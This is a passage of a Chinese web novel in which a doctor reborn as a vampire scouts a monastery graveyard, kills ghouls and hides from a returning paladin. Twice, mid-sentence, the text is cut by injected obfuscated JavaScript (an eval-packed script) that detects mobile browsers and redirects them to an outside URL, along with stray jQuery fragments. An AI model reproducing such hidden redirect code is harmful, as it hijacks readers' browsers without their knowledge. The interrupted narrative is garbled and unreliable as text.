“噢,真是令人尊敬的爱情。”票贩子夸张的在胸前划了一个十字,“愿圣父庇佑您!但是您请务必记得,现在已经很晚了,磨坊森林并没有那么安全。您千万不要因为贪恋离世之人的温暖回忆而深入。”
“不安全?”莱尔适时露出疑惑,既然票贩子能提出这样的建议,就证明这种事至少不是被所有人信服且在意的。
“黑暗无处不在,”票贩子递过去一张车票,声音神神秘秘,“更何况备修道院的孩子们需要时刻直面危险。夫人,那可是他们的训练之地,不少人都说一到入夜,磨坊森林就会响起食尸鬼的尖叫,以及恐惧梦魇的怒号。”
食尸鬼,恐惧梦魇?
莱尔眼睛亮了一下,这些也是血族改造的仆从么?备修道院用它们来训练孩子?那么她能否操控这些怪物?
莱尔记下每一个细节,道谢后上了车。
污浊的空气确实将嗅觉敏锐的吸血鬼熏得眼前一黑又一黑,观察过路人的动作后,她悄悄撕下裙子的一角充当手帕,将其死死抵在鼻尖,并坐在了马车最靠外的位置。
身边抬着内脏的妇人看见她纤细的手臂,冷哼了一声就想朝她那挤——马车上空间就这么大,别人少占点,自己就能多获得些喘息。
然而膀大腰圆的妇人才刚把胳膊贴过去,一股极其阴冷的寒气忽然爬上了她的小臂。
妇人一愣,一转头就对上了一双黑漆漆的瞳孔。
马车里没有灯也没有光,那双眼睛就像山洞里被惊扰的剧毒王蛇,让妇人刹那之间似乎就被毒牙扣住了脖子。
妇人的脸“刷”的白了,微微张开嘴,冷汗“扑簌簌”往下落。
“滚。”
莱尔声音很低,妇人浑身抖了一下,僵硬收回手,拼命朝另一边挤去。
她的同伴还在和大鹅搏斗,见她一直不说话,连声大骂。
也就在这个时候,马车车夫捂着腰走了过来,坐上了前排的驾驶位。
紧接着马鞭一扬,马车一下冲了出去。
6. 第 6 章
虽然马车环境让人难以忍受,可不知是不是训练过,车夫起飞的速度快的倒是堪比利箭。
开出去的瞬间,大动静吸引了不少十字军的目光,莱尔收回视线,妇人也重重松了口气。
然而那口气还没彻底呼出来,妇人的余光瞧见身旁晃动的黑色兜帽,又紧急倒吸了回去,生怕惊扰了身边恐怖的女人。
好在马车跑起来后秋天的风很好的吹散了浓烈的气味,抚平了血族逐渐暴涨的烦躁情绪。
她透过车窗,看见夜晚如薄雾般的月光轻柔洒落在翡冷翠的街道上。
她意识到,在逐渐靠近备修道院的沿途中,连蹩脚肮脏的砖块路面都变成了带着白色花纹的大理石。
那是在黑鸽子街角街头都不曾看过的洁净,是因为靠近“神权”而带来的优雅美丽。
尤其是那片令人惊叹的森林。
票贩子说的没错,磨坊森林是备修道院孩子们天然的训练场。
它就像一把铺开的扇子,以亮着柔光的备修道院为起起点,肃穆而坚固的石砖墙为界限,向黑夜中无限延伸。
这种构造令整座森林都处于备修道院的“注视”之内,犹如圈养的后花园。
此时此刻,无声的幽暗笼罩在整片森林之上,古怪的嘶吼隐约传出,“夜晚禁入”的巨大标牌无声矗立在入口。
公共马车的车夫只肯把人送到修道院门口的上车点,就死活都不愿继续向前了。
“虽然围墙遮挡住了森林的出入口,”车夫摸了摸后腰,疲惫地说道,“可黑暗里依旧存在眼睛。夫人,您请务必注意安全。”
莱尔向他道谢,不过身体却没有动,一双黑色的眼睛直勾勾盯着他的脸,“先生,虽然这不太礼貌,但我想问问您的腰痛是否已经持续了很长一段时间了?”
听见这话,车夫愣了一下,手下意识又抚上了腰,“你怎么知道?”
“不仅如此,”昏暗之中莱尔的目光缓慢下移,最终停留在车夫肥大的脖子上,“在腰痛开始之前,你的眼睑应该是第一个出现反应的部位——像灌水了一样开始肿大,之后慢慢延伸到整个面部,现在已经到达了脖子。对吗?”
车夫狐疑的上下打量着眼前的女人,或许是那昂贵的鼬皮斗篷让他没有升起太多的抗拒,“你怎么会知道这些?”
“先生,我不是什么奇怪的人,我只是一名医生罢了。”莱尔的喉结不易察觉地上下滚动,惨白的月光下,那双黑沉沉的瞳孔里闪过一抹不易察觉的贪婪。
她当然能看出车夫身体上的问题,毕竟只是短短一段路,这家伙就来回揉腰五六次了,再加上那疲惫的目光和水肿的像胖头鱼一样的面部,这些反应都不难判断出车夫的肾一定出了问题。
很大概率是肾源性水肿。
这是一种因肾小球过滤功能下降并与肾小管重吸收功能不匹配,最终导致了水钠潴留和组织水肿。
莱尔怎么会放过这样一个潜在“顾客”呢?她循循善诱,“如果我没猜错,您最近在某些必要的、独处时的场合也会察觉到奇怪的地方吧?”是的就是上厕所。
肾源性水肿的病人通常会经历尿血、蛋白尿等症状,这通常会使病人感到恐惧。不过鉴于所处的时代,莱尔谨慎的没有多说。
但车夫似乎一下想到了什么,他望着莱尔的眼神发生了变化,语气欣喜,“您真的是医生?是的,我是从上上个圣礼拜开始觉的不舒服的。不过谢谢您的好意,我已经接受了治疗——我妻子认识的医生给我用汞涂了脸,早晚各两次——那真是个漂亮的东西呀,相信用不了多久我就会完全恢复的。”
新生的吸血鬼听见这话愣了愣,惊奇地打量着车夫确实有些发黑的面颊。
汞,就是水银,肾病导致的脸部肿胀用水银擦洗?这是主动把自己往土里埋么?
天呐,这样的人不给自己简直太可惜了!
毕竟受过水银戕害的人,就算埋进土里也会伤害那些花花草草。
看着车夫眼底明晃晃的信任和宗教治国背后的愚昧,莱尔忍不住微笑起来。
“那真是非常不错的治疗方法,”她夸赞着并真诚说道,“不过上天让我们相遇于此,就必定有祂的道理。如果您将来还是觉得不舒服的话,欢迎您随时来找我。我叫莱尔,莱尔?托马斯,住在黑鸽子街。虽然我很希望能帮上忙,但我还是更希望您永远不需要来找我。”
不知怎的,莱尔忽然感觉自己不该说出系统写出的那个姓氏:冈格罗。
早上吸血家族的灭亡让她下意识想要隐瞒这些,或许死去的哈维能帮助她避开所有隐藏的麻烦。
车夫果然没有任何怀疑,他感激地点头,甩开马鞭,“谢谢您,医生,您真是个善良的人啊!请您放心,如果我的那位医生没用,那么我一定会去找您。”
马车离开了,莱尔终于转过身。
她毫不怀疑,过不了多久车夫就会回来找她。
毕竟水银涂脸,不死也得半残。再加上逐渐加重的肾病,估摸着下个圣礼拜就能在诊所门口见到车夫病入膏肓的脸了。
那么,到时候车夫的病还能治吗?
哦不,当然不能了。
没有利尿剂,没有消炎药,在愚昧落后的中世纪背景下,肾病本身就几乎无解。
或许喝些血浆能缓解症状,但根本无法根治。更别提水银也在其中掺上了一脚。
不过这些都无所谓,只要能洗洗干净进入诊所就好,莱尔会尽全力帮助他缩短痛苦的时间。
期间只需要车夫付出一点点血液而已,就能达成双赢的局面,她相信车夫一定会同意的。
吸血鬼轻轻摩挲着自己苍白手指上的青色血管,舌尖舔过嘴唇,视线落在不远处。
备修道院幽然且沉默地矗立着。
如果能安稳度过葬礼,她是不是该做些宣传单什么的沿街发一发?
黑夜让血族感到放松,她仰头望着眼前的圣所,那其实不算一幢恢弘的建筑。
它比想象中要小,大概有她房子大三倍那么大。顶部挂着一个巨大的十字架,金色的钟挂在十字架下,神圣的翅膀刻印在上面,犹如温暖的手掌。
玫瑰丛包裹着栅栏,门口的红砖墙上篆刻着一排排文字,在暗夜中竟然散发着微光。
这时莱尔才发现,亮亮的修道院外没有一盏灯,所有的光线全部来源于墙壁上的文字。
她不敢靠的太近,只是站在漆黑的夜幕里,眯起眼睛,呢喃着念出第一行。
“我已经给你们权柄可以践踏蛇和蝎子,又胜过一切仇敌……”
就在此时,就在莱尔念出一串完整的句子时,一阵犹如鞭打的痛猛然落在她的咽喉上。
那痛来的猝不及防却气势汹汹,犹如烈火燎原,烧得她瞪大眼睛,身体过电似的一下弓了起来!
有人袭击了我!
这是莱尔第一时间出现的想法,她脑子一炸,捂着脖子疯狂后退,一瞬间退到了两条街外。
等她抵着墙在黑暗中站稳,更早出发的车夫才哼着歌从街道上姗姗驶过。
天太黑了,没有星星,也没有人注意到惊弓之鸟似的血族,兜帽盖住了她的脸,冷汗浸透了她的后背。
她轻轻颤抖着,惊悚发现光幕中自己的血条竟然降低了13点!
究竟是什么情况?!
夜里静悄悄的,目之所及一个活着的生物都没有。
没有声音,空气没有波动,没有任何东西在暗处袭击她。
莱尔紧紧按着脖颈,愕然地望向那座修道院。
难道是…..刚刚那句祷言?
她仅仅只是念出一句墙壁上的祷言,就能对自己造成这么大伤害?!
莱尔浑身冰凉。
她来不及想太多,单手捏碎装着血液的玻璃瓶,将凝固成块状的血直接倒进喉咙。
干涸的血液和新鲜的完全不是一个味道,莱尔能敏锐感觉出有些东西,有些更温暖的东西随着时间消失了。
事实也正如此。
光幕中,她的饱腹值仅上涨了5点,而血条值则只涨了3点。
虽然生啃道森时她意识不清,可她很清楚这个数值比新鲜血液给予的少得多。
不过还好灼烧感褪去了不少,虽然还是疼,但可以忍受。
莱尔死死盯着备修道院,像只被捕兽夹夹过的猫,小心翼翼沿着墙边树冠落下的阴影悄无声息再次贴近。
这次她知道为什么明明都说森林危险,可附近却根本没有巡逻人员了。
对于黑暗生物,一座修道院足矣。
难道牧师也是因为这个才被佣兵们看重的吗?
他们能够通过祷言对黑暗生物造成伤害?
凭什么?
这个世界…..真的有神?神赐予了力量?
莱尔隐匿在黑暗中,无声站了很长一段时间。
期间修道院里完全没有任何动静,比不远处的墓地还要死气沉沉。
她明白,自己不能永远在这里站着。
大胆一点。
她小心翼翼靠近石子小路,确认踩上去完全不会发出声音后,才慢吞吞倒退着挪了进去。
期间她一边紧紧盯着修道院,一边谨慎打量着周围的环境。
距离修道院最近的地方明显被精心改造过,恰到好处的花园和果树生机勃勃,犹如一条亮丽的丝带,将墓地彻底隔离开来。
这一段路至少有两百米,期间没有任何遮挡物。
直至正式踏入墓地范围,头顶才会出现遮蔽的树冠。
但树冠和树冠之间是有缝隙的,莱尔几乎能想象当晨光泼洒下来时,那些缝隙会将耀眼的日光割碎成何种模样。
她再次扭头看了一眼远处的微光,没有任何动静后才低头去看墓碑。
此时她才明白为什么葬礼邀请卡上会有门牌号一样的编号。
那是墓碑的行列数。
他们就是这样为不同地位的人分区的。
离修道院近的,显然都是一些比较厉害的人。
莱尔看见了子爵、圣职军上尉、主教等等字样,哈维医生社会地位不高,但也不算低,排在78区是很合理的。
莱尔很快找到了属于她“丈夫”的位置。
她看见了幸运的一幕——
这里几乎已经深入森林了,大量树木遮天蔽日地站立着,又因为初秋的缘故,茂盛的树冠郁郁葱葱,将78-65号墓碑下方大部分位置遮盖的严严实实。
如果在佩戴帽子或雨伞,就可以将被照到的可能降到最低。
刚巧她的大衣柜里就有一把漆黑的蕾丝伞。
莱尔曾在第一次走下马车时试验过,房屋建筑可以完全为她抵抗阳光,她不会受到任何伤害。
自那时起她就在想,其他类似的东西是否也可以。
但她不清楚葬礼上是否允许她有打伞之类的动作,为了万无一失,她的视线落在树干之间的空地上。
莱尔脱掉斗篷,撸起袖子。
以前她并不清楚力气大有什么用,现在她知道了。
全世界仅剩的一只血族花了一个多小时的的时间刨土、挖坑、去很远的地方徒手拔出六棵树种进坑里、最后将土大力踩实。
为了不引起其他人注意,她还如法炮制将其他几个墓碑附近也弄成了茂密林原。
期间她“很不小心”地搞坏了几座有主的坟墓,一部分破碎的尸体不受控制滚落出来,空气里到处都是腥臭的味道。
莱尔没有去管那些散落的肢体,她解决完树木后,就站在原地认真思索剩下的问题——如何通过刚进来时花园里的那两百米,以及如何验证牧师的能力。
就在这时,她忽然听见身后响起一阵阵奇怪的声音,像什么东西在磨牙。
莱尔迅速披上斗篷盖好兜帽,一眨不眨盯着声音的来源处。
那里越来越混乱吵闹。
片刻后,密密麻麻的树干之间出现了几道匍匐的影子。
莱尔的目光在黑暗中清晰无比看见了那些影子。
那是一张张诡谲丑陋的脸,两只耳朵似恶魔一样又尖又长,恶狗似的脸中间横亘着令人恶心的褶皱。
它们的爪子很尖,瞳孔是浑沌的暗黄色。趴下时脚掌紧扣地面,皮肤表面布满灰绿瑟的真菌。
莱尔闻到了沉疴的血腥味,那是长久啃食腐烂□□的味道。
尸体的味道。
“这就是食尸鬼….吗?”莱尔心跳的有点快,理智强压着想要转身就跑的本能。
毕竟连那几个看上去很弱的雇佣兵都在找食尸鬼的麻烦,作为赏金最贵的那一档——她实在找不出应该害怕的理由。
她应该比较强的。
而且,倒不如说,她刚刚在森林里弄出那么大动静,就是为了把一些东西引出来。
一些能帮她验证情报的东西。
现在,她成功了。
食尸鬼看上去没有太高的智商,它们浑黄色的眼睛贪婪盯着莱尔脚边的尸体,口角的涎水滴滴答答落在地上,压抑的低吼声仿佛饿极了的野狼。
浑黄色的眼睛,没有红色膜圈,再加上暴戾的视线——好吧,显然,食尸鬼不是血族创造出的仆从。
莱尔像即将上场的拳击手一样快速晃动着双臂,紧绷的眼睛死死盯着面前的家伙。
“想要吗?”她轻轻用脚尖抵住地上的大腿,看着四只食尸鬼慢慢靠近,像看着四只鬣狗。
这样的行为似乎激怒了食尸鬼,它们无法容忍食物被占有抢夺,当距离足够,四只可怖的家伙猛一蹬腿,无比凶狠地扑了上来!
可在血族眼中,它们的速度实在慢的有些过分了。
莱尔侧身一躲,食
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081182|195318||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
尸鬼腥臭的脸从她身旁擦肩而过。然后她狠狠抬脚,想要踢开这只可怖的生物。
然而她还是低估了自己的力量。
吸血鬼当场踢碎了食尸鬼的头骨。
那家伙嗷呜一声摔倒在地,长着短而尖角的头颅向内凹陷,皮肉裂开,七窍缓缓渗出血。
莱尔来不及惊叹自己一脚的威力,空气中的血腥味已经开始弥漫,她感觉浑身开始发痒。
同伴的死亡激发了食尸鬼的凶性,它们嘶吼着同时朝莱尔扑了过来!
然而下一秒,就被更凶的血族掐住的后颈!
“太轻了。”
明明是形状和猛虎差不多大的生物,却被一只细细的手轻松锢住。
莱尔现在是真的不害怕了,毕竟谁会害怕又慢又弱的幼犬呢?
虽然丑了点,但确实和小狗崽子没什么两样。
她无视掉疯狂朝自己抓挠过来的爪子,一只脚在地面划出一个半圆,身体借着力道骤然扭转,揪着食尸鬼朝早已选定好的方向猛地丢了出去。
“砰!”
修道院二层角落的窗户一下亮了起来。
接着是第二、三、四只。
“砰砰”的声音彻底撕破深夜的安静,被砸晕的食尸鬼们嘶吼着从修道院外的地砖上蹦了起来。
那篆刻于洁白砖块上的文字,在黑夜中犹如通电的电网,火星四射间烫掉了食尸鬼们触碰到的一块皮。
莱尔隐没在黑暗中,看见修道院的窗户内倏的大亮,一个身穿长袍、头发花白、脖子上带着十字架的男人出现在半月形的阳台上。
他低头发现了突如其来的食尸鬼,理所应当把它们当成了闯入者。
“我以圣父之名!”他严厉地大喊道,“命我们脱离邪恶——”
莱尔捂住了耳朵,注视着那个男人一边快速说着什么,一边朝下倒下一大瓶透明液体。
期间阳台后面的长廊上,还探出几颗毛绒绒的、小小的脑袋。
是票贩子所说的孩子们。
那些孩子穿着统一的纯白睡衣,脖子上佩戴着如出一辙的十字银链。
他们似乎被吓到了,牧师朝着他们喊了好几声,他们才急吼吼拿来更多的瓶子,一边学着牧师的样子大喊着,一边将瓶子递给牧师,让牧师泼下更多液体。
祷言的确具有驱逐黑暗的力量。
她看的清清楚楚,在液体接触到食尸鬼之前,食尸鬼就已经像被鞭子抽打般扭曲惨叫起来。
这是每个牧师都能做到的吗?她一颗心慢慢沉了下来,还是普通人类只要诵念得出祷言都可以?
更重要的是,液体将驱逐变成了虐杀。
莱尔没有发出一点声音,她将每一个画面——食尸鬼的皮肤被融化、血管消解、眼球爆裂、脊骨崩断成渣的画面——它们如何挣扎想要逃跑,却被液体牢牢钉死在原地画面,全部刻进脑子里。
那瓶透明如水的液体对黑暗生物来说,才是真正的杀器。
会是和腐化水、伤口清洗水类似的东西吗?
食尸鬼们毫无还手之力,期间它们本能地想要闯入,然而修道院外墙的祷言同样像是烈刃。
这是一场不公平的单方面灭杀。
莱尔凝视着修道院的阳台,看见结束危机之后的牧师正在和其中几个孩子说话。
她放下手,隐隐约约的声音传进耳朵。
“不要惧怕黑暗生物….”这是牧师年迈的声音,老人似乎有些犹豫是该严厉教导还是抱抱孩子们以安抚他们受惊的心情。
最后他只能叹息一声,摸过几人的头说,“无论是狼人抑或是血族,它们都惧怕光明….只要说….只要写….就能杀死…..”
“好的…..”这是孩子们怯生生的声音,“安东尼老师….”
安东尼,哈维医生葬礼邀请卡上的牧师,现在则是这些孩子们的老师。
备修道院,备,原来是这个意思。
莱尔了然了。
眼前这个,恐怕是专门的储备牧师学校。这里是森林边缘,零星出现的黑暗种族是天然的练手对象,埋葬在森林深处的、身份普通的平民尸体同样是最好的吸引源。
修道院牢固的防御保障了孩子们的安全,所以他们在这里跟随牧师老师学习成长。
这是一个好消息。
如果牧师需要从小统一培养教导,那么普通人大概不会拥有直接抗衡黑暗的力量。
而且,最重要的是,祷言虽然威力巨大,但有一个致命弱点。
必须被“说”抑或“写”出来。
人在突如其来的危机中,往往会使用最快速也是最本能的反击手段。
牧师念出了祷言,这就证明了祷言不能被无声诵念的特性。
至少那位头发花白的安东尼牧师不能做到。
再联想到修道院的墙壁,莱尔的心脏止不住快速跳了起来。
如果真是这样,那么如何安全度过葬礼上的牧师发言环节,她就有办法了。
这个办法甚至很简单。
莱尔不再去看牧师如何处理尸体,她抓紧时间拖着第一只食尸鬼的尸体遁入森林深处,谨慎找了个毫无人类痕迹的地方埋掉后,打算换另一个方向离开墓地。
浓重幽深的黑夜对她来说完全不再是失去视野、动荡不安的桎梏,相反,她穿行其中感到安全且舒畅,就像鱼入了水,鸟飞上天空。
这是一种来自血族的本能。
莱尔在黑夜的安抚下愈发冷静,她一边避开密密麻麻的树,一边在脑海里拉出亟待解决的清单。
现在,清单上面暂时只剩两条。
1.如何度过那没有遮挡的两百米花园。
2.如何瞒过哈维医生那个当圣骑士长的弟弟。
她已经仔细处理过医生的尸体,只要自己不说错话,2应该没有什么大问题。
现在必须为之努力的,只有1。
莱尔确信,简单的一把伞绝对无法完全遮挡阳光,她记得自己马车车窗上的黑色纱幔有多么的厚。
不要质疑前辈的经验,可没有人会把伞做成三公斤厚度,那简直是在告诉所有人:我有问题!快来看啊!
即使焦虑,她也意识到,遮挡阳光这条路行不通。
还能怎么办?
她打开蓝紫色的光幕,视线不断扫过自己拥有的技能。
就在这时,莱尔敏锐嗅到空气中忽然浮现的、微弱的酸味。
这在九月的森林里很正常,毕竟绿油油的森林不止有树,还有不少野果。
但这一瞬间,这种熟悉的味道却像箭一样击中了她的脑袋。
对了!她怎么把这件事忘了!
她可是纯正的吸血鬼,想要度过那两百米,就得用吸血鬼的方式。
新生的血族脚尖调转,朝着气味来源处狂奔而去。
7. 第 7 章
莱尔是个很胆大的人。
在当上急诊科医生之前,她曾在医学上付出了八年的时间。
她一开始切鼠,切猪,切牛。
后来,她切人,缝人,看着人死在手上,看着人从死线回来。
冷静缜密几乎刻进了她的生命,现在她又用这种特质在打开蓝紫色的光幕里,寻找出一线生机。
那一线生机就藏在她的技能【鲜血盛宴】里,以及面前一排酸梅树上。
酸梅树在野外是比较常见的植物,现在正值九月,树上挂满了青色的莓果,风吹的一晃一晃的,用不了多久就会变成野鸟的食物。
没有人喜欢这种酸掉牙的野果,但其实酸梅身怀宝藏——枸橼酸,酸莓果里一种含量较高的元素,一种优秀的抗凝血元素。
通俗点来说,就是能让血液在常温状态下无法凝固,维持液体状态。
而血液,是莱尔的治愈药剂,恢复药剂,生命药剂!
液体状态的血液显然比凝固后的血液更有用,不仅加的数值更多,连吮吸的动作也更容易遮掩。
只要喝下足够多的血,她就能依靠【献血盛宴】持续不断治愈已出现的伤口,包括日光灼伤。
只要时间足够,就能不被任何人发现。
想一想吧,遮阳伞只能抵挡一小部分阳光,另一部分阳光会瞬间烧穿莱尔的脸部。
但只要她迅速喝下血液,脸部的伤口就会立即恢复。
之后她但凡烧一点就喝一点,再烧再喝,烧了就喝….
她是否就可以像变/态的金刚狼一样,靠着离谱的恢复力,硬生生把那两百米抗过去?
而且遮阳伞刚巧可以遮挡面容和动作!
天衣无缝且胆大包天。
莱尔连呼吸都热了起来,决定好后,她迅速将提篮里装满酸梅,再撕掉裙摆的一部分,牢牢把提篮绑好。
做完这一切,她用最快的速度赶回了黑鸽子街。
让我们感谢拥有伟大奉献之力的道森先生,作为初始血包,他帮助莱尔撑过了很长一段时间。
纵然已经放了不少的血出来,但挤一挤还是有不少的。
地下室的阴暗潮湿能够帮助枸橼酸维持活性,至少撑过葬礼没有问题。
剩下的只有容器,要想藏在手里不被发现,就必须足够小。
又因为要盛装足够多的血液,容器的数量也必须达到标准。
唯有工作间那些装药水的水晶瓶最合适。
或许是因为药剂名贵,每一个水晶瓶只有手指那么长,重量也很轻,非常适合
为了活命,莱尔开始掘地三尺。
很快,她找到了更多的废弃水晶瓶,全部堆在垃圾间中巨大的桶里。
里面还夹杂着哈维扔掉的订购单。
令莱尔惊讶的是,这是一些非常严苛的订购单,单据上不止写明了哈维的名字住址家庭成员等等,还写清了哈维当医生的年限、上次订购日期及药水类型数量、接诊病人数量及介绍人的名字。
介绍人,买药居然还要介绍人。
不过当莱尔看见签发处的名字时,顿时就明白了。
因为这些药水统统来自于小修道院,联想到道森那瓶腐化水也是从修道院偷出来的,莱尔合理怀疑,稀奇古怪的药水是这个世界的重点管控物品。
这一猜测并非空穴来风,介绍人的名字才是莱尔确认的根本。
介绍人:维格·托马斯,圣骑士长,隶属玫瑰十字军第一军三队。
瞧瞧,简直是走后门的标准配置。
只是……
莱尔顿时觉得无比心累。
如果进药还需要介绍人,那也就意味着她必须和这个维格——也就是她“丈夫”的亲弟弟打好关系,想办法拿到名额。
不过现在不是考虑这件事的时候。
莱尔揉了揉太阳穴,将订购单塞了回去,取出一摞水晶小瓶洗干净,又亲自做了好几根长布条。
打活结这种事对熟悉包扎的医生来说非常简单,她用长布条在手腕上绑了好几个带活结的腕带,每个活结里都塞上一根水晶瓶。试了试拿取也非常方便,动作很小。
到时候她可以选择宽松的长袖衣裙,衣柜里就有不少哥特风的泡泡袖长裙。
当然,她浓密卷曲的长发里也能藏进去两三根,那是最不容易被发现的位置。
做好准备工作,已经到了后半夜。
忙碌了一天的吸血鬼终于爬上了床,空荡荡的顶部让她非常不舒服,她总想那点什么把床的四周挡住。
“如果有口棺材就好了。”莱尔深深叹息着,忽然灵光一闪,起身爬进了床底。
狭窄的空间让吸血鬼焦躁的心缓缓安定下去。
“果然还是这样舒服一些。”安全感倍增的莱尔终于放下心来,沉沉闭上眼睛。
明天一早就是葬礼了,那是她最大的危机。只要挺过葬礼,搞定圣骑士长维格,她的生命安全就暂时获得了保障,她的诊所大计也可以提上日程。
一切都会好起来的。
但老天说:哪有那么简单?
在她睡着时,城外忽然传来一阵悠远激烈的马蹄声。
守城军借着月色,远远便瞧见不断挥扬的洁白旗帜。
旗帜上金色的十字架如烈阳般耀眼,十字架上点缀的玫瑰花又像炽热的火。
这火伴随着奔袭的队伍瞬间来到城门之下,打头人身上飞扬的白色法袍让守城军目瞪口呆。
在月色下,他们看见了那人衣领上绣着的圣文之花熠熠生辉,几乎能够灼伤他们的眼睛。
短暂的怔愣后,反应过来的守城军连滚带爬冲上控制台,撕心裂肺地大声叫喊着,“打开城门!打开城门!是玫瑰十字军!是十字军的圣骑士长大人到了!!快点把那该死的门抬上去!通知大主教!!!”
负责通讯的士兵被拦了下来。
他在黑夜里听见圣骑士长大人低而冷冽的声音,“我为私事而回,不必惊扰大主教及其他人。”
私事。
士兵打了个激灵,就算他身处和平安稳的中央城,也非常清楚目前前线焦灼的态势。
即使十二支吸血家族已经全部灭亡,可追随它们的、从幽冥里爬出的玩意儿依旧如浪潮般一波接一波。
人类还未获得全面胜利,连大主教都亲口承认血族尚未完全剿灭。
可这种时候,尊贵的圣骑士长大人居然抛掉了前线的一切,紧急赶回了这儿。
这件私事得是多么重要啊。
士兵不敢再说什么了,他立刻敬了个军礼,将道路让开。
马儿嘶鸣着远去,尘土飞扬间,圣骑士长向后扭头,“去把安东尼叫来。”
跟随他的士兵们立即调转马头,朝着备修道院的方向冲去。
而他自己则勒住缰绳,将马儿的速度降低,尽量不惊扰沉睡的民众,一步一步朝熟悉的家走去。
黑鸽子街和记忆中没什么差别,似乎从他父母死后,这里就像按下了暂停键。
而现在,他仅剩的亲人也死在了这儿。
维格按住马鞍跳下马,沉默地站在黑乎乎的二层小楼下很长一段时间。
直至安东尼擦着汗乘坐马车而来。
“维格大人!”刚刚解决完食尸鬼尸体才睡下没多久的牧师只觉得浑身哆嗦,他已经上了年纪,一整夜如此忙碌简直要了他的老命。
“抱歉,安东□□格向他微微点头,轻声说,“这么晚打扰了,但我没有时间可以浪费。所以现在,请说一说吧,关于我哥哥的死亡究竟是怎么回事?上个星期他还给我寄过信。”
“我明白,明白的,”安东尼弯下腰,声音微哑,“没人能不为这次意外而揪心….哈维医生那晚喝了酒,我想酒精或许麻痹了他的神志,以至于他没有注意到自己已经走到了波米河旁边…..大人,我查看过哈维医生的尸体,没有什么问题。”
“当然了,如果您需要检查,随时可以进行。我确认过,莱尔·托马斯夫人也遵循着要求,一直将尸体好好安置在家中。”
“莱尔…..”这个名字维格已经很久没有听到过了,印象中哥哥的妻子始终是苍白病弱的,黑色蕾丝纱网帽从未离开过她的脸,半遮挡的面容只有一双红唇令人印象深刻。
那是个除了脸,完全没什么用的女人。但没有办法,他哥哥深爱异常。
圣骑士长的视线终于落到疲惫的牧师身上,“她这几天怎么样?有没有什么奇怪的举动?”
“没有,”牧师摇摇头,“您知道的,夫人的身体很差,已经调养了很多年。根据夫人的车夫所说,除了今早她去取了葬礼用的百合花以外,再也没有离开家前往很远的地方。现在应该就在家里睡觉,大人,请让我来为您敲门。”
圣骑士长将马鞭从右手换到左手,“不,”他拦住了抬步向前的牧师,沉吟着再次仰头看了一眼二楼的窗户。
“我有钥匙,不要打扰她的沉眠。”
牧师很有眼色的后退几步,看着尊贵的人亲自开锁——
黑暗中,莱尔蓦然睁开眼睛。
窸窸窣窣的声音传进耳朵,有人在开楼下的房门,有人进来了。
是谁?
她“腾”的起身,一伸手握住了手边的刀。
这么晚了,是小偷么?还是强盗?
她运气这么好?
之前还担心道森剩余的血量不够用,现在就有人主动送上门?
莱尔如幽灵般从床底爬出来,黑暗中一双眼睛覆上诡异的红膜。
她没有急着动,而是先打开系统光幕。
个人面板显示,她的饱食度下降至73.
73,这是一个胃部微微瘪下去的数字,暂时在安全范围内,她不会因为人类流血而发狂。
楼下的声音仍在继续,即使对方脚步已经刻意放轻,但吸血鬼的听力甚至能够清楚听见地底鼹鼠的交谈,何况只是楼上楼下。
莱尔悄无声息移动到卧室门外,像一只货真价实的鬼魂般站在二楼的楼梯上,冷静地看着两道身影缓慢走到停尸房门前,慢慢扭开门把手。
其中一道身影她认识,前不久才刚见过——是安东尼神父。
而另一个…..
只看了一眼,莱尔的心脏就高高吊了起来。
那是个瘦瘦高高的男人,腰间别着一柄细长的银剑,身上穿着洁白的圣骑上服,没有盔甲,领子及袖口上各绣着金色的繁复祷言。
密密麻麻的文字明显经过特殊排列,看上去优美华贵又不杂乱无章。银色的天使翅膀纹章长链坠在胸前,和左耳上的耳钉样式一模一样。
即使是在昏暗的房子里,也能看出这人的侧脸相当优越,头发向后梳的一丝不苟,湛蓝的瞳孔里有种凌厉的气质,硬生生让莱尔看出一身冷汗。
更重要的是,这人身上弥漫着一股浓重的血腥味。
并非来自人类的血,而是其他某种生物,带着火与岩石灰的味道。
那味道已经深深渗进他的头发、皮肤甚至肌肉,只杀掉几只绝对达不到这种效果。
这是一个危险的家伙。
想到什么,莱尔吊起来的心脏又坠入深渊。
一个好消息,她知道这家伙是谁了,维格·托马斯,哈维的亲弟弟,那个有点麻烦
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081183|195318||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的圣骑士长。
看他和安东尼堪称轻手轻脚的样子,估计不是带着敌意而来的。他恐怕只是急切的想要看一看哥哥,而且并不想把睡在楼上的嫂子吵醒。
当然,好消息外通常伴随着坏消息。
莱尔的目光落在地毯上——地下室的道森还没来得及处理。
如果这位圣骑士长先生心血来潮想去下面看一眼,就会发现血族为自己建立的储备粮血池。
莱尔身体紧绷,如同鬼魂般握着刀不声不响下到一楼,几乎和黑暗融为一体。
已经站到尸体旁边的两个人完全没有发现,身后正有一双冰凉的眼睛凝视着他们。
“大人,”安东尼像是怕打扰到什么似的,用气音小声说道,“这屋子里实在有些暗了,我们点上一只蜡烛或许能看得更加清楚些。”
维格如同望夫石般凝望着眼前的尸体,没有回答。
牧师静了片刻,小心翼翼摸索着点燃桌上的白蜡。
烛火幽幽,两条长长的影子瞬间被拉成窄窄的两片,摇摇晃晃按在墙上。
木板上的尸体已经开始轻微腐烂了,屋子里的气味很不好闻。
